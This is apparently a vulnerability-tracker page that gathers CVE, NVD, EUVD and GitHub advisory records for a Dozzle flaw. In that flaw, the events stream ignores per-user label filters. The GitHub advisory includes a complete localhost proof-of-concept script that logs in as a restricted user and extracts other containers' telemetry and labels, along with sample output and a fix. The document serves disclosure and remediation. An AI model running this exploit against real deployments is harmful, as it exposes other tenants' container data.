Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 274/275 feeds/APIs · 469/469 docs · 8/9 advisories · checked 21:06 UTC Customize Public modeDiscuss ChangeIntel on Discord

Dozzle label filters do not restrict container event and statistics streams

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-62286

Published

Dozzle is a realtime log viewer for docker containers. Prior to 10.6.7, streamEvents in internal/web/events.go applies a restricted user's label filter to container lists but not to the container-stat and container-event channels returned by GET /api/events/stream. In a simple-auth deployment using per-user filters, any authenticated restricted account can receive resource telemetry and lifecycle events for containers outside its authorized label scope. The exposed data includes container names, images, full label maps, CPU and memory use, network and disk totals, and deployment or restart activity across monitored hosts, but does not include log contents, environment values, or exec access. This issue is fixed in version 10.6.7.

Source published
24 Sep 2026 18:11:18 UTC
Source modified
28 Sep 2026 14:53:16 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 4.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

euvd · EUVD-2026-86343

Published

Dozzle is a realtime log viewer for docker containers. Prior to 10.6.7, streamEvents in internal/web/events.go applies a restricted user's label filter to container lists but not to the container-stat and container-event channels returned by GET /api/events/stream. In a simple-auth deployment using per-user filters, any authenticated restricted account can receive resource telemetry and lifecycle events for containers outside its authorized label scope. The exposed data includes container names, images, full label maps, CPU and memory use, network and disk totals, and deployment or restart activity across monitored hosts, but does not include log contents, environment values, or exec access. This issue is fixed in version 10.6.7.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Sep 24, 2026, 6:11:18 PM

dateUpdated: Sep 28, 2026, 2:53:16 PM

Source published
Sep 24, 2026, 6:11:18 PM (timezone not stated)
Source modified
Sep 28, 2026, 2:53:16 PM (timezone not stated)
Observed here
11 Nov 2026 15:04:39 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 4.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

nvd · CVE-2026-62286

Published

Dozzle is a realtime log viewer for docker containers. Prior to 10.6.7, streamEvents in internal/web/events.go applies a restricted user's label filter to container lists but not to the container-stat and container-event channels returned by GET /api/events/stream. In a simple-auth deployment using per-user filters, any authenticated restricted account can receive resource telemetry and lifecycle events for containers outside its authorized label scope. The exposed data includes container names, images, full label maps, CPU and memory use, network and disk totals, and deployment or restart activity across monitored hosts, but does not include log contents, environment values, or exec access. This issue is fixed in version 10.6.7.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-200 · CWE-285

Original publisher date fields

published: 2026-09-24T19:17:15.657

lastModified: 2026-09-30T19:57:08.043

Source published
24 Sep 2026 19:17:15 UTC
Source modified
30 Sep 2026 19:57:08 UTC
Observed here
25 Oct 2026 14:19:28 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 4.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

osv · GHSA-xcw9-qmmf-vqxj

Published

## Summary Dozzle supports per-user label filters in `users.yml` that are documented as an access-control boundary: "Filters are used to restrict the containers that a user can see" and "the `guest` user can only see containers with the label `com.example.app` … useful for restricting access to specific containers" (docs/guide/authentication.md). This is the mechanism operators use to give different users/tenants visibility into disjoint subsets of containers on the same host. The events stream handler `streamEvents` (GET `/api/events/stream`) honors that filter for the initial container list and for the incremental `containers-changed` updates, but it forwards two other channels — `container-stat` (live per-container CPU, memory, network and disk telemetry) and `container-event` (container lifecycle events: start/die/destroy/rename/pause/unpause, with the container's full attribute/label set) — to every authenticated client unconditionally, with no comparison against the caller's label filter. The upstream subscription `SubscribeEventsAndStats` fans out across every Docker client/host and never receives a label filter at all. As a result, any authenticated user — including one explicitly constrained to a single label scope — receives live resource telemetry for every container on every monitored host, plus lifecycle events carrying each container's name, image and complete label map. This crosses the exact isolation boundary the filter feature is documented to enforce. The leak requires no special role (it is not gated behind the shell/actions/download roles) and works on the local Docker host, so it is distinct from the previously-patched agent-path exec/attach bypass (CVE-2026-24740 / GHSA-m855-r557-5rc5) and from the exec/attach CSWSH issue (CVE-2026-44985 / GHSA-j643-x8pv-8m67). ## Affected code (v10.6.5) `internal/web/events.go` — `streamEvents`. The handler resolves the caller's `userLabels` and applies them to the initial list (`ListAllContainers(userLabels)`) and to the `containers-changed` increment (`ListContainersForHost(event.Host, userLabels)`), but forwards `container-stat` and the raw `container-event` with no filter check: ```go h.hostService.SubscribeEventsAndStats(r.Context(), events, stats) // no labels passed ... userLabels := h.config.Labels if h.config.Authorization.Provider != NONE { user := auth.UserFromContext(r.Context()) if user.ContainerLabels.Exists() { userLabels = user.ContainerLabels } } allContainers, errors := h.hostService.ListAllContainers(userLabels) // filtered (correct) ... case stat := <-stats: if err := sseWriter.Event("container-stat", stat); err != nil { // NOT filtered ... } case event, ok := <-events: ... switch event.Name { case "start", "die", "destroy", "rename", "pause", "unpause": if event.Name == "start" || event.Name == "rename" { if containers, err := h.hostService.ListContainersForHost(event.Host, userLabels); err == nil { ... sseWriter.Event("containers-changed", containers) ... // filtered (correct) } } if err := sseWriter.Event("container-event", event); err != nil { // NOT filtered ... } ``` `internal/support/docker/multi_host_service.go` — `SubscribeEventsAndStats` subscribes to events and stats from every client with no label filter argument: ```go func (m *MultiHostService) SubscribeEventsAndStats(ctx context.Context, events chan<- container.ContainerEvent, stats chan<- container.ContainerStat) { for _, client := range m.manager.List() { client.SubscribeEvents(ctx, events) client.SubscribeStats(ctx, stats) } } ``` The payloads carry the disclosed data. `ContainerStat` (internal/container/types.go) includes `id`, `cpu`, `memory`, `memoryUsage`, `networkRxTotal`, `networkTxTotal`, `diskReadTotal`, `diskWriteTotal`. `ContainerEvent` includes `host`, `actorId` and `actorAttributes` (a `map[string]string`), which for `start` events contains the container name, image, and every label. ## Attacker model / precondition The attacker is an authenticated low-privilege user of a Dozzle instance configured with simple auth (`DOZZLE_AUTH_PROVIDER=simple`) and at least one user whose `filter:` restricts them to a subset of containers — the standard multi-user / multi-tenant configuration the filter feature exists for. The attacker holds valid credentials for such a restricted account (or any account; the leak applies to whatever the account's filter excludes). No shell/actions/download role is required and no victim interaction is needed; the attacker simply opens the SSE stream that the normal UI already opens on load. What bounds severity: the disclosure is limited to container metadata and resource telemetry — it does not by itself expose container log contents, environment-variable values, or the ability to exec/attach (those paths apply the filter correctly on the local host). It requires an authenticated account and only matters when per-user filters are actually used to separate tenants/environments; a single-user or unfiltered deployment has nothing to leak. Hence Confidentiality:Low, no Integrity/Availability impact. ## Impact A user constrained to one label scope can continuously enumerate, on every monitored host: - The existence and identity of every container outside their scope, via `container-event` `actorId` plus `actorAttributes` (container name, image name, and the full label map — which is exactly the information the filter feature is meant to hide, and may itself encode tenant/project/environment names such as `secretproject=acme-payroll`). - Live operational telemetry for those containers — CPU%, memory% and bytes, network RX/TX totals, disk read/write totals — updated every few seconds, enabling activity profiling, traffic/throughput inference, and load monitoring of other tenants' workloads. - Lifecycle activity (deployments, restarts, crashes, pauses) of out-of-scope containers in real time. In a multi-tenant or environment-segregated deployment (dev user must not see prod, tenant A must not see tenant B), this defeats the intended isolation for the telemetry/metadata plane while the UI still presents the user with their correctly-filtered single-container view. ## Proof of Concept (complete — runs on 127.0.0.1 only) Lab only. Requires Docker on the local host. Uses the official `amir20/dozzle:v10.6.5` image. It creates one container the `guest` user is allowed to see (label `visible=yes`) and one the guest must NOT see (`dz_secret`, no such label), logs in as the restricted guest, and shows that the documented filtered channel returns exactly the one authorized container while the `container-stat` and `container-event` channels leak the forbidden container's telemetry and metadata. ```bash set -e WORK=$(mktemp -d); cd "$WORK"; mkdir -p data # 1. Build a users.yml with an unrestricted admin and a guest filtered to label=visible=yes. docker run --rm amir20/dozzle:v10.6.5 generate admin --password adminpass --name Admin > data/users.yml docker run --rm amir20/dozzle:v10.6.5 generate guest --password guestpass --name Guest \ --user-filter "label=visible=yes" --user-roles all > guest.yml python3 - <<'PY' admin=open("data/users.yml").read() guest=open("guest.yml").read().split("users:\n",1)[1] open("data/users.yml","w").write(admin.rstrip()+"\n"+guest) PY # 2. Start two workload containers: one the guest IS allowed to see, one it is NOT. docker rm -f dz_visible dz_secret dozzle_lab 2>/dev/null || true docker run -d --name dz_visible --label visible=yes alpine \ sh -c 'while true; do echo "visible-log $(date)"; sleep 2; done' >/dev/null docker run -d --name dz_secret --label secretproject=acme-payroll alpine \ sh -c 'while true; do echo "SECRET-log $(date)"; sleep 2; done' >/dev/null # 3. Start Dozzle v10.6.5 with simple auth, bound to loopback only. docker run -d --name dozzle_lab -p 127.0.0.1:8083:8080 \ -v /var/run/docker.sock:/var/run/docker.sock:ro \ -v "$PWD/data:/data" \ -e DOZZLE_AUTH_PROVIDER=simple \ amir20/dozzle:v10.6.5 >/dev/null sleep 4 B=http://127.0.0.1:8083 SECRET_ID=$(docker inspect -f '{{.Id}}' dz_secret) VIS_ID=$(docker inspect -f '{{.Id}}' dz_visible) # 4. Authenticate as the restricted guest. curl -s -c guest.cookies -X POST "$B/api/token" -d 'username=guest' -d 'password=guestpass' -o /dev/null # 5. Capture the events SSE stream as the guest for ~10s, triggering a lifecycle # event on the forbidden container partway through. ( timeout 10 curl -s -N -b guest.cookies "$B/api/events/stream" > guest_events.txt 2>/dev/null ) & sleep 3 docker restart dz_secret >/dev/null # generate die/start container-events for dz_secret wait # 6. Analyze: the documented filtered channel vs the two leaking channels. python3 - "$SECRET_ID" "$VIS_ID" <<'PY' import json,sys secret,vis=sys.argv[1],sys.argv[2]; s12,v12=secret[:12],vis[:12] ev=None; list_ids=set(); stat_ids=set(); evt=[] secret_stat=None; secret_start_attrs=None for line in open("guest_events.txt"): line=line.rstrip("\n") if line.startswith("event:"): ev=line[6:].strip() elif line.startswith("data:"): try: j=json.loads(line[5:].strip()) except: continue if ev=="containers-changed" and isinstance(j,list): for c in j: if isinstance(c,dict) and c.get("id"): list_ids.add(c["id"]) elif ev=="container-stat" and isinstance(j,dict): if j.get("id"): stat_ids.add(j["id"]) if j.get("id")==s12: secret_stat=j elif ev=="container-event" and isinstance(j,dict): evt.append((j.get("name"),j.get("actorId"))) if j.get("actorId")==s12 and j.get("actorAttributes"): secret_start_attrs=j["actorAttributes"] print("=== DOCUMENTED FILTERED CHANNEL (containers-changed / initial list) ===") print(" containers the guest is authorized to see:", len(list_ids), "->", sorted(x[:12] for x in list_ids)) print(" secret container present?:", s12 in {x[:12] for x in list_ids}, "(expected False)") print() print("=== LEAK CHANNEL 1: container-stat (NOT filtered) ===") print(" distinct containers in stat stream:", len(stat_ids)) print(" secret container telemetry leaked?:", s12 in {x[:12] for x in stat_ids}, "(VULN if True)") if secret_stat: print(" leaked dz_secret stat payload:", json.dumps(secret_stat)) print() print("=== LEAK CHANNEL 2: container-event (NOT filtered) ===") print(" lifecycle events leaked for dz_secret:", [e for e in evt if e[1]==s12]) if secret_start_attrs: print(" leaked dz_secret attributes:", json.dumps(secret_start_attrs)) PY # 7. Cleanup. docker rm -f dz_visible dz_secret dozzle_lab >/dev/null cd /; rm -rf "$WORK" ``` Observed output (host details elided; the salient lines): ``` === DOCUMENTED FILTERED CHANNEL (containers-changed / initial list) === containers the guest is authorized to see: 1 -> ['87a94222ba1d'] secret container present?: False (expected False) === LEAK CHANNEL 1: container-stat (NOT filtered) === distinct containers in stat stream: 10 secret container telemetry leaked?: True (VULN if True) leaked dz_secret stat payload: {"id": "9ec5e9a970d9", "cpu": 0, "memory": 0.00228, "memoryUsage": 487424, "networkRxTotal": 2444, "networkTxTotal": 126, "diskReadTotal": 0, "diskWriteTotal": 0} === LEAK CHANNEL 2: container-event (NOT filtered) === lifecycle events leaked for dz_secret: [('die', '9ec5e9a970d9'), ('start', '9ec5e9a970d9')] leaked dz_secret attributes: {"env": "prod", "image": "nginx:alpine", "name": "dz_secret", "secretproject": "acme-payroll"} ``` The guest is authorized for exactly one container (the documented filter works for the list channel), yet the same stream delivers live telemetry for ten containers — including `dz_secret` — and leaks `dz_secret`'s name, image and labels (including `secretproject=acme-payroll`) via lifecycle events. The negative control is the `containers-changed`/list channel returning a single container; the positive result is the stat/event channels returning the forbidden container. ## Remediation Apply the caller's `userLabels` to the `container-stat` and `container-event` channels in `streamEvents`, exactly as is already done for the container list. Concretely: - Maintain, per connection, the set of container IDs visible under the caller's `userLabels` (it is already computed for the initial list and refreshed on `containers-changed`), and drop any `container-stat` whose `id` is not in that set before calling `sseWriter.Event("container-stat", ...)`. - For each `container-event`, resolve the event's container under `userLabels` (e.g. via `FindContainer(event.Host, event.ActorID, userLabels)` on the local/Docker path, which honors labels) and forward the event only if it resolves; otherwise skip it. Do the same for the `container-updated` and `container-health` branches, which carry `actorId`/container data for arbitrary containers. - Alternatively/additionally, push the label filter down into `SubscribeEventsAndStats` so the fan-out itself only emits stats/events for containers matching the caller's filter, mirroring how `SubscribeContainersStarted` already takes a `ContainerFilter`. - Add regression tests asserting that a user with `filter: label=visible=yes` receives `container-stat` and `container-event` only for matching containers, even when other containers are active on the host. Please credit 5ud0 / Tarmo Technologies.

Source published
24 Sep 2026 18:15:10 UTC
Source modified
1 Oct 2026 20:56:08 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Publisher rating · MODERATE

osv · GO-2026-6592

Published

Dozzle label filters do not restrict container event and statistics streams in github.com/amir20/dozzle

Source published
1 Oct 2026 20:23:38 UTC
Source modified
1 Oct 2026 20:45:14 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 11 Nov 21:06 UTC · 274 of 275 readable · 273 fully read · documentation 469/469 current